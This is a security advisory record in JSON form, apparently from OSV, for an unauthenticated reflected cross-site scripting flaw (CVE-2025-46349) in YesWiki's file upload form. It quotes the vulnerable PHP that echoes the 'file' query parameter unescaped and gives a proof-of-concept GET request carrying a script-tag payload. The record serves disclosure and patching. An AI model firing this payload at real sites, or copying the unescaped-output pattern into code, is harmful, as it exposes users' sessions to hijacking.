{"id":"GHSA-2f8p-qqx2-gwr2","aliases":["CVE-2025-46349"],"title":"YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"### Summary\nReflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication\n\nThis Proof of Concept has been performed using the followings:\n\n- YesWiki v4.5.3 (doryphore-dev branch)\n- Docker environnment (docker/docker-compose.yml)\n\n### Vulnerable code\nThe vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)\n```\n        public function showUploadForm()\n        {\n            $this->file = $_GET['file'];\n            echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . \"</h3>\\n\";\n            echo '<form enctype=\"multipart/form-data\" name=\"frmUpload\" method=\"POST\" action=\"' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . \"\\\">\\n\"\n                . '\t<input type=\"hidden\" name=\"wiki\" value=\"' . $this->wiki->GetPageTag() . \"/upload\\\" />\\n\"\n                . '\t<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"' . $this->attachConfig['max_file_size'] . \"\\\" />\\n\"\n                . \"\t<input type=\\\"hidden\\\" name=\\\"file\\\" value=\\\"$this->file\\\" />\\n\"\n                . \"\t<input type=\\\"file\\\" name=\\\"upFile\\\" size=\\\"50\\\" /><br />\\n\"\n                . '\t<input class=\"btn btn-primary\" type=\"submit\" value=\"' . _t('ATTACH_SAVE') . \"\\\" />\\n\"\n                . \"</form>\\n\";\n        }\n```\n### PoC\n1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution\n```\nGET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: localhost:8085\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: ru-RU,ru;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n```\n2. Get a response\n<img width=\"853\" alt=\"Снимок экрана 2025-04-11 в 02 04 55\" src=\"https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820\" />\n\n\n### Impact\nThis vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions","severity":"high","score":7.6,"published":"2025-04-29T14:38:12.000Z","modified":"2026-09-10T03:50:56.891Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"yeswiki/yeswiki","sources":[{"name":"OSV · GHSA-2f8p-qqx2-gwr2","url":"https://osv.dev/vulnerability/GHSA-2f8p-qqx2-gwr2"}],"ranges":[{"events":[{"introduced":"0"},{"last_affected":"4.5.3"}],"type":"ECOSYSTEM"}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5","v4.5.0","v4.5.1","v4.5.2","v4.5.3"],"fixed":[]}],"sourceAffected":[],"references":["https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2","https://nvd.nist.gov/vuln/detail/CVE-2025-46349","https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524","https://github.com/YesWiki/yeswiki/commit/0dac9e2fb2a5e69f13a3c9f761ecae6ed9676206","https://github.com/YesWiki/yeswiki","https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735"],"sources":[{"name":"OSV","id":"GHSA-2f8p-qqx2-gwr2","modified":"2026-09-10T03:50:56.891754907Z","url":"https://osv.dev/vulnerability/GHSA-2f8p-qqx2-gwr2"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","score":7.6}],"products":[],"remediation":[],"kev":{"status":"not-listed","checkedAt":"2026-10-28T22:35:31.831Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[]}